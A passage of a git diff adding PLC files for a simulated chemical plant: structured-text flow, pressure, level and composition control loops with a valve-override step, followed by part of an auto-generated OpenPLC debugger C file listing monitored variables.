SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, 